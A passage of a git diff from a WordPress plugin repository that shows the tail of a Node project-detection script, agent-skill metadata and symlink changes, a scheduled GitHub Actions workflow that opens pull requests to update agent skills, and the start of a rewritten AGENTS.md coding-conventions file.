+ const txt = readFileSafe(p); + if (!txt) return null; + try { + return JSON.parse(txt); + } catch { + return null; + } +} + +function detectConfigConstants(repoRoot) { + const { results: configFiles } = findFilesRecursive(repoRoot, (p) => path.basename(p) === "wp-config.php", { + maxFiles: 4000, + maxDepth: 4, + }); + const configPath = configFiles[0] ?? null; + if (!configPath) { + return { source: null, constants: {} }; + } + + const contents = readFileSafe(configPath, 256 * 1024); + if (!contents) return { source: path.relative(repoRoot, configPath), constants: {} }; + + const c = contents; + const enabled = (name) => + new RegExp(`define\\(\\s*['"]${name}['"]\\s*,\\s*(true|1)\\s*\\)`, "i").test(c) || + new RegExp(`\\b${name}\\b\\s*=\\s*(true|1)`, "i").test(c); + + const mentioned = (name) => new RegExp(`\\b${name}\\b`, "i").test(c); + + return { + source: path.relative(repoRoot, configPath), + constants: { + savequeriesMentioned: mentioned("SAVEQUERIES"), + savequeriesEnabled: enabled("SAVEQUERIES"), + wpDebugMentioned: mentioned("WP_DEBUG"), + wpDebugEnabled: enabled("WP_DEBUG"), + disableWpCronMentioned: mentioned("DISABLE_WP_CRON"), + disableWpCronEnabled: enabled("DISABLE_WP_CRON"), + }, + }; +} + +function detectKinds(repoRoot, signals) { + const kinds = new Set(); + + if (signals.isGutenbergRepo) kinds.add("gutenberg"); + if (signals.isWpCoreCheckout) kinds.add("wp-core"); + if (signals.hasWpContentDir) kinds.add("wp-site"); + if (signals.detectedThemeName) kinds.add(signals.isBlockTheme ? "wp-block-theme" : "wp-theme"); + if (signals.detectedPluginName) kinds.add(signals.isBlockPlugin ? "wp-block-plugin" : "wp-plugin"); + if (signals.hasMuPluginsDir) kinds.add("wp-mu-plugin"); + + if (kinds.size === 0) kinds.add("unknown"); + + const priority = [ + "gutenberg", + "wp-core", + "wp-site", + "wp-block-theme", + "wp-block-plugin", + "wp-theme", + "wp-mu-plugin", + "wp-plugin", + "unknown", + ]; + let primary = "unknown"; + for (const k of priority) { + if (kinds.has(k)) { + primary = k; + break; + } + } + + return { kind: [...kinds], primary }; +} + +function buildRecommendations({ repoRoot, primaryKind, packageManager, packageJson, composerJson, tooling, signals }) { + const commands = []; + const notes = []; + + if (tooling.node.hasPackageJson) { + const pm = packageManager ?? "npm"; + const run = pm === "yarn" ? "yarn" : `${pm} run`; + const hasScript = (name) => Boolean(packageJson?.scripts && Object.prototype.hasOwnProperty.call(packageJson.scripts, name)); + if (hasScript("lint")) commands.push(`${run} lint`); + if (hasScript("test")) commands.push(`${run} test`); + if (hasScript("build")) commands.push(`${run} build`); + if (hasScript("start")) commands.push(`${run} start`); + if (tooling.node.usesWordpressScripts) notes.push("Detected @wordpress/scripts usage; prefer its standard lint/build/test scripts."); + } + + if (tooling.php.hasComposerJson) { + commands.push("composer install"); + if (tooling.php.phpunitXml.length > 0) commands.push("vendor/bin/phpunit"); + } + + if (tooling.tests.hasWpEnv) notes.push("Detected wp-env; E2E workflows may rely on Docker."); + if (signals.scanTruncated) notes.push("Scan truncated due to file limit; some signals may be missing."); + if (primaryKind === "unknown") notes.push("Could not confidently classify repo; inspect root for plugin/theme headers or wp-content structure."); + + return { commands, notes }; +} + +function main() { + const repoRoot = process.cwd(); + + const wpContent = path.join(repoRoot, "wp-content"); + const pluginsDir = path.join(wpContent, "plugins"); + const muPluginsDir = path.join(wpContent, "mu-plugins"); + const themesDir = path.join(wpContent, "themes"); + + const isWpCoreCheckout = existsFile(path.join(repoRoot, "wp-includes", "version.php")); + const isGutenbergRepo = + existsDir(path.join(repoRoot, "packages")) && + (existsDir(path.join(repoRoot, "packages", "block-editor")) || existsDir(path.join(repoRoot, "packages", "components"))); + + const packageJson = parsePackageJson(repoRoot); + const composerJson = parseComposerJson(repoRoot); + const packageManager = detectPackageManager(repoRoot); + + const usesWordpressScripts = Boolean( + packageJson?.devDependencies?.["@wordpress/scripts"] || + packageJson?.dependencies?.["@wordpress/scripts"] || + packageJson?.scripts?.build?.includes("wp-scripts") || + packageJson?.scripts?.start?.includes("wp-scripts") || + packageJson?.scripts?.test?.includes("wp-scripts") || + packageJson?.scripts?.lint?.includes("wp-scripts") + ); + + const pkgHasInteractivity = Boolean( + packageJson?.devDependencies?.["@wordpress/interactivity"] || packageJson?.dependencies?.["@wordpress/interactivity"] + ); + const pkgHasAbilities = Boolean( + packageJson?.devDependencies?.["@wordpress/abilities"] || packageJson?.dependencies?.["@wordpress/abilities"] + ); + + const hasWpContentDir = existsDir(wpContent); + const hasPluginsDir = existsDir(pluginsDir); + const hasThemesDir = existsDir(themesDir); + const hasMuPluginsDir = existsDir(muPluginsDir); + + const config = detectConfigConstants(repoRoot); + + const pluginCandidates = []; + const themeCandidates = []; + + // Root-level plugin/theme detection (common when repo root is the plugin/theme). + for (const entry of fs.readdirSync(repoRoot, { withFileTypes: true })) { + if (!entry.isFile()) continue; + if (entry.name.toLowerCase().endsWith(".php")) pluginCandidates.push(path.join(repoRoot, entry.name)); + if (entry.name === "style.css") themeCandidates.push(path.join(repoRoot, entry.name)); + } + + let detectedPluginName = null; + for (const phpFile of pluginCandidates) { + detectedPluginName = detectPluginHeaderFromPhpFile(phpFile); + if (detectedPluginName) break; + } + + let detectedThemeName = null; + for (const styleCss of themeCandidates) { + detectedThemeName = detectThemeHeaderFromStyleCss(styleCss); + if (detectedThemeName) break; + } + + const { results: blockJsonFiles, truncated: scanTruncated } = findFilesRecursive( + repoRoot, + (p) => path.basename(p) === "block.json", + { maxFiles: 6000, maxDepth: 8 } + ); + const { results: themeJsonFiles } = findFilesRecursive(repoRoot, (p) => path.basename(p) === "theme.json", { + maxFiles: 6000, + maxDepth: 8, + }); + + const templatesDirCandidates = [ + path.join(repoRoot, "templates"), + path.join(repoRoot, "parts"), + path.join(repoRoot, "patterns"), + ]; + + const isBlockTheme = themeJsonFiles.length > 0 && templatesDirCandidates.some((p) => existsDir(p)); + const isBlockPlugin = blockJsonFiles.length > 0; + + const interactivityScan = scanForTokens(repoRoot, { + tokens: ["data-wp-interactive", "@wordpress/interactivity", "viewScriptModule"], + exts: [".php", ".js", ".ts", ".tsx", ".json", ".html"], + maxFiles: 2500, + maxDepth: 8, + }); + + const abilitiesScan = scanForTokens(repoRoot, { + tokens: [ + "wp_register_ability(", + "wp_register_ability_category(", + "wp_abilities_api_init", + "wp_abilities_api_categories_init", + "wp-abilities/v1", + "@wordpress/abilities", + ], + exts: [".php", ".js", ".ts", ".tsx"], + maxFiles: 2500, + maxDepth: 8, + }); + + const innerBlocksScan = scanForTokens(repoRoot, { + tokens: ["InnerBlocks", "useInnerBlocksProps", "InnerBlocks.Content"], + exts: [".js", ".ts", ".tsx"], + maxFiles: 2500, + maxDepth: 8, + }); + + const wpCliConfigBasenames = new Set([ + "wp-cli.yml", + "wp-cli.yaml", + "wp-cli.local.yml", + "wp-cli.local.yaml", + ".wp-cli.yml", + ".wp-cli.yaml", + ]); + const { results: wpCliConfigFiles, truncated: wpCliConfigTruncated } = findFilesRecursive( + repoRoot, + (p) => wpCliConfigBasenames.has(path.basename(p)), + { maxFiles: 6000, maxDepth: 6 } + ); + + const composerRequire = composerJson?.require && typeof composerJson.require === "object" ? composerJson.require : {}; + const composerRequireDev = + composerJson?.["require-dev"] && typeof composerJson["require-dev"] === "object" ? composerJson["require-dev"] : {}; + const composerHasWpCli = Boolean( + composerRequire["wp-cli/wp-cli"] || + composerRequireDev["wp-cli/wp-cli"] || + composerRequire["wp-cli/wp-cli-bundle"] || + composerRequireDev["wp-cli/wp-cli-bundle"] + ); + + const wpCliTokenScan = scanForTokens(repoRoot, { + tokens: [ + "wp search-replace", + "wp db export", + "wp db import", + "wp cron event", + "wp cache flush", + "wp rewrite flush", + "wp plugin update", + "wp theme update", + ], + exts: [".sh", ".yml", ".yaml", ".js", ".ts", ".php", ".json"], + maxFiles: 2500, + maxDepth: 8, + }); + + const usesInteractivityApi = pkgHasInteractivity || Object.keys(interactivityScan.matches).length > 0; + const usesAbilitiesApi = pkgHasAbilities || Object.keys(abilitiesScan.matches).length > 0; + const usesInnerBlocks = Object.keys(innerBlocksScan.matches).length > 0; + const usesWpCli = composerHasWpCli || wpCliConfigFiles.length > 0 || Object.keys(wpCliTokenScan.matches).length > 0; + + const wpContentRoot = path.join(repoRoot, "wp-content"); + const hasObjectCacheDropin = existsFile(path.join(wpContentRoot, "object-cache.php")); + const hasAdvancedCacheDropin = existsFile(path.join(wpContentRoot, "advanced-cache.php")); + const hasDbDropin = existsFile(path.join(wpContentRoot, "db.php")); + const hasSunriseDropin = existsFile(path.join(wpContentRoot, "sunrise.php")); + const hasQueryMonitorPlugin = existsDir(path.join(wpContentRoot, "plugins", "query-monitor")); + const hasPerformanceLabPlugin = existsDir(path.join(wpContentRoot, "plugins", "performance-lab")); + + const phpunitXml = []; + for (const candidate of ["phpunit.xml", "phpunit.xml.dist"]) { + const full = path.join(repoRoot, candidate); + if (existsFile(full)) phpunitXml.push(candidate); + } + + const hasWpEnv = + existsFile(path.join(repoRoot, ".wp-env.json")) || + existsFile(path.join(repoRoot, ".wp-env.override.json")) || + Boolean(packageJson?.devDependencies?.["@wordpress/env"] || packageJson?.dependencies?.["@wordpress/env"]); + + const hasPlaywright = Boolean( + packageJson?.devDependencies?.["@playwright/test"] || + packageJson?.dependencies?.["@playwright/test"] || + packageJson?.devDependencies?.["@wordpress/e2e-test-utils-playwright"] || + packageJson?.dependencies?.["@wordpress/e2e-test-utils-playwright"] + ); + + const hasJest = Boolean( + packageJson?.devDependencies?.jest || + packageJson?.dependencies?.jest || + packageJson?.devDependencies?.["@wordpress/jest-preset-default"] || + packageJson?.dependencies?.["@wordpress/jest-preset-default"] + ); + + const hasPhpUnit = phpunitXml.length > 0 || Boolean(composerJson?.requireDev?.phpunit || composerJson?.["require-dev"]?.phpunit); + + const signals = { + paths: { + repoRoot, + wpContent: hasWpContentDir ? wpContent : null, + pluginsDir: hasPluginsDir ? pluginsDir : null, + themesDir: hasThemesDir ? themesDir : null, + muPluginsDir: hasMuPluginsDir ? muPluginsDir : null, + }, + isWpCoreCheckout, + isGutenbergRepo, + hasWpContentDir, + hasPluginsDir, + hasThemesDir, + hasMuPluginsDir, + detectedPluginName, + detectedThemeName, + isBlockPlugin, + isBlockTheme, + usesInteractivityApi, + usesAbilitiesApi, + usesInnerBlocks, + usesWpCli, + performanceHints: { + wpConfig: config.source, + constants: config.constants, + dropins: { + objectCache: hasObjectCacheDropin, + advancedCache: hasAdvancedCacheDropin, + db: hasDbDropin, + sunrise: hasSunriseDropin, + }, + plugins: { + queryMonitor: hasQueryMonitorPlugin, + performanceLab: hasPerformanceLabPlugin, + }, + }, + interactivityHints: { + packageJson: pkgHasInteractivity, + matches: interactivityScan.matches, + scanTruncated: interactivityScan.truncated, + }, + abilitiesHints: { + packageJson: pkgHasAbilities, + matches: abilitiesScan.matches, + scanTruncated: abilitiesScan.truncated, + }, + innerBlocksHints: { + matches: innerBlocksScan.matches, + scanTruncated: innerBlocksScan.truncated, + }, + wpCliHints: { + configFiles: wpCliConfigFiles.map((p) => path.relative(repoRoot, p)).slice(0, 50), + configScanTruncated: wpCliConfigTruncated, + composerJson: composerHasWpCli, + matches: wpCliTokenScan.matches, + scanTruncated: wpCliTokenScan.truncated, + }, + blockJsonFiles: blockJsonFiles.map((p) => path.relative(repoRoot, p)).slice(0, 50), + themeJsonFiles: themeJsonFiles.map((p) => path.relative(repoRoot, p)).slice(0, 50), + scanTruncated, + }; + + const { kind, primary } = detectKinds(repoRoot, signals); + + const versions = { + wordpress: { + core: guessWpCoreVersionFromCheckout(repoRoot), + }, + gutenberg: guessGutenbergVersion(repoRoot), + }; + + const tooling = { + php: { + hasComposerJson: existsFile(path.join(repoRoot, "composer.json")), + hasVendorDir: existsDir(path.join(repoRoot, "vendor")), + phpunitXml, + }, + node: { + hasPackageJson: existsFile(path.join(repoRoot, "package.json")), + packageManager, + usesWordpressScripts, + }, + tests: { + hasPhpUnit, + hasWpEnv, + hasPlaywright, + hasJest, + }, + }; + + const recommendations = buildRecommendations({ + repoRoot, + primaryKind: primary, + packageManager, + packageJson, + composerJson, + tooling, + signals, + }); + + const report = { + tool: { name: "detect_wp_project", version: TOOL_VERSION }, + project: { kind, primary, notes: [] }, + signals, + tooling, + versions, + recommendations, + }; + + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); +} + +main(); diff --git a/.agents/skills/wp-rest-api/SKILL.md b/.agents/skills/wp-rest-api/SKILL.md index b6cfbf6..7c9c4f2 100644 --- a/.agents/skills/wp-rest-api/SKILL.md +++ b/.agents/skills/wp-rest-api/SKILL.md @@ -1,9 +1,13 @@ --- +compatibility: Targets WordPress 7.0+ (PHP 7.4.0+). Filesystem-based agent with bash + node. Some workflows require WP-CLI. +description: 'Use when building, extending, or debugging WordPress REST API endpoints/routes: register_rest_route, WP_REST_Controller/controller classes, schema/argument validation, permission_callback/authentication, response shaping, register_rest_field/register_meta, or exposing CPTs/taxonomies via show_in_rest.' +metadata: + github-path: skills/wp-rest-api + github-ref: refs/heads/trunk + github-repo: https://github.com/WordPress/agent-skills + github-tree-sha: c745b5611c9587095117cbb478b1294312b6224b name: wp-rest-api -description: "Use when building, extending, or debugging WordPress REST API endpoints/routes: register_rest_route, WP_REST_Controller/controller classes, schema/argument validation, permission_callback/authentication, response shaping, register_rest_field/register_meta, or exposing CPTs/taxonomies via show_in_rest." -compatibility: "Targets WordPress 7.0+ (PHP 7.4.0+). Filesystem-based agent with bash + node. Some workflows require WP-CLI." --- - # WP REST API ## When to use diff --git a/.claude/skills/github-actions-hardening b/.claude/skills/github-actions-hardening new file mode 120000 index 0000000..3e2d164 --- /dev/null +++ b/.claude/skills/github-actions-hardening @@ -0,0 +1 @@ +../../.agents/skills/github-actions-hardening \ No newline at end of file diff --git a/.claude/skills/playwright-cli b/.claude/skills/playwright-cli new file mode 120000 index 0000000..a5bb522 --- /dev/null +++ b/.claude/skills/playwright-cli @@ -0,0 +1 @@ +../../.agents/skills/playwright-cli \ No newline at end of file diff --git a/.claude/skills/wp-block-development b/.claude/skills/wp-block-development new file mode 120000 index 0000000..0963e56 --- /dev/null +++ b/.claude/skills/wp-block-development @@ -0,0 +1 @@ +../../.agents/skills/wp-block-development \ No newline at end of file diff --git a/.claude/skills/wp-performance b/.claude/skills/wp-performance new file mode 120000 index 0000000..94c69cc --- /dev/null +++ b/.claude/skills/wp-performance @@ -0,0 +1 @@ +../../.agents/skills/wp-performance \ No newline at end of file diff --git a/.claude/skills/wp-project-triage b/.claude/skills/wp-project-triage new file mode 120000 index 0000000..e2af692 --- /dev/null +++ b/.claude/skills/wp-project-triage @@ -0,0 +1 @@ +../../.agents/skills/wp-project-triage \ No newline at end of file diff --git a/.github/workflows/update-agent-skills.yml b/.github/workflows/update-agent-skills.yml new file mode 100644 index 0000000..10a815b --- /dev/null +++ b/.github/workflows/update-agent-skills.yml @@ -0,0 +1,47 @@ +name: Update Agent Skills + +on: + schedule: + - cron: '17 6 * * 1' + workflow_dispatch: + +permissions: {} + +concurrency: + group: update-agent-skills + cancel-in-progress: false + +jobs: + update: + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + pull-requests: write + steps: + - uses: actions/checkout@v7 + with: + ref: main + persist-credentials: false + + - id: update + uses: devantler-tech/actions/update-agent-skills@v13.3.3 + with: + dir: .agents/skills + + - name: Open pull request + if: steps.update.outputs.changed == 'true' + uses: peter-evans/create-pull-request@v8 + with: + base: main + branch: feature/update-agent-skills + delete-branch: true + add-paths: | + .agents/skills/** + commit-message: 'chore(deps): update agent skills' + title: 'chore(deps): update agent skills' + body: | + Updates installed skills with `gh skills update --all`. + Review upstream instructions and provenance before merging. + Local skills without GitHub provenance are skipped. + Default-token PRs do not trigger CI automatically. diff --git a/AGENTS.md b/AGENTS.md index 818882d..4b5c0f6 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,196 +1,102 @@ - - -# Agents Coding Conventions for Plugin “Exelearning” - -These are natural-language guidelines for agents to follow when developing the Exelearning WordPress plugin. - -## Project conventions - -- Follow **WordPress Coding Standards**: - - PHP code: indent blocks with **tabs** (WordPress default) and reserve spaces for alignment/continuations. Keep PSR‑12 compatibility when it does not contradict WP requirements. Always escape/sanitize properly and rely on WP APIs. - - Use English for source code (identifiers, comments, docblocks). - - Write all implementation notes, inline comments, and documentation in English. - - Use Spanish for user‑facing translations/strings and test assertions to check no untranslated strings remain. - - Keep class file names aligned with their class names (e.g., `class-exelearning-admin-helper.php` for `Exelearning_Admin_Helper`). - - Add `/* translators: */` comments immediately before translations containing placeholders such as `%s` or `%d`. - - Always unslash superglobals (e.g., `$_POST`) before sanitizing and storing their values. - - When emitting standalone pages, enqueue styles/scripts with WordPress APIs (`wp_enqueue_style`, `wp_enqueue_script`) and print them via `wp_print_*` helpers instead of hard-coding `` or `